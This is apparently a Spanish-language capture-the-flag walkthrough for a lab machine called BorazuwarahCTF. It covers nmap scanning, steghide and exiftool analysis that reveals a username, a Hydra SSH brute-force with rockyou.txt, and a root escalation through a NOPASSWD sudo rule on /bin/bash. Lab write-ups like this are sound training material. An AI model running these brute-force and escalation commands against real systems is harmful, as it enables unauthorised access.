## **BorazuwarahCTF**

Primero comprobamos si tenemos conexión con la máquina:

```
> ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.117 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.117/0.117/0.117/0.000 ms
```

La ttl es de 64, por lo que probablemente estamos frente a una máquina **Linux**.

Ahora vamos a ver los puertos abiertos:

```
> sudo nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
[sudo] contraseña para romy:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-03 19:47 CEST
Initiating ARP Ping Scan at 19:47
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 19:47, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 19:47
Scanning 172.17.0.2 [65535 ports]
Discovered open port 22/tcp on 172.17.0.2
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 19:47, 1.12s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000080s latency).
Scanned at 2024-06-03 19:47:34 CEST for 2s
Not shown: 65533 closed tcp ports (reset)
      STATE SERVICE REASON
22/tcp open ssh
                      syn-ack ttl 64
80/tcp open http
                      syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

Ahora vamos a realizar un escaneo más en profundidad:

```
> nmap -sCV -p22,80 172.17.0.2 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-03 19:48 CEST
Nmap scan report for 172.17.0.2
Host is up (0.00015s latency).
PORT
      STATE SERVICE VERSION
                     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
22/tcp open ssh
| ssh-hostkey:
    256 3d:fd:d7:c8:17:97:f5:12:b1:f5:11:7d:af:88:06:fe (ECDSA)
   256 43:b3:ba:a9:32:c9:01:43:ee:62:d0:11:12:1d:5d:17 (ED25519)
                   Apache httpd 2.4.59 ((Debian))
80/tcp open http
| http-server-header: Apache/2.4.59 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
```

Ahora vamos a explorar la web.



Vamos a descargar la imagen para analizarla:

```
huevo.jpeg
```

Y ahora la analizamos:

```
> steghide extract -sf <u>huevo.jpeg</u>
Anotar salvoconducto:
anot�los datos extra₀dos e/"secreto.txt".
```

Y el txt contiene lo siguiente:

```
File: secreto.txt

Sigue buscando, aquí no está to solución aunque te dejo una pista....
sigue buscando en la imagen!!!
```

Ahora vamos a ver los metadatos que contiene la imagen:

```
> exiftool huevo.jpeq
JFIF Version
Resolution Unit
                                  : None
X Resolution
                                  : 1
Y Resolution
XMP Toolkit
                                : Image::ExifTool 12.76
                                  : ----- User: borazuwarah -----
Description
                                  : ----- Password: -----
Title
Image Width
Image Height : 455
Encoding Process : Baseline DCT, Huff
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 455x455
: 0.207
                                : Baseline DCT, Huffman coding
: 8
```

Como vemos, sale el usuario para acceder por ssh pero no la contraseña, vamos a intentar conseguir la contraseña por fuerza bruta:

```
hydra -l borazuwarah -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in mi
aws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-03 20:05:
[WARNING] Many SSH configurations limit the number of parallel tasks, it is reco
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: borazuwarah password: 123456
1 of 1 target successfully completed. 1 valid password found
```

Y ya tenemos la contraseña para acceder por ssh:

```
borazuwarah@b3c2a5f9c622:~$ whoami
borazuwarah
```

Ahora accedemos a root:

```
borazuwarah@b3c2a5f9c622:~$ sudo -l
Matching Defaults entries for borazuwarah on b3c2a5f9c622:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/
User borazuwarah may run the following commands on b3c2a5f9
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /bin/bash
borazuwarah@b3c2a5f9c622:~$ sudo /bin/bash
root@b3c2a5f9c622:/home/borazuwarah# whoami
root
```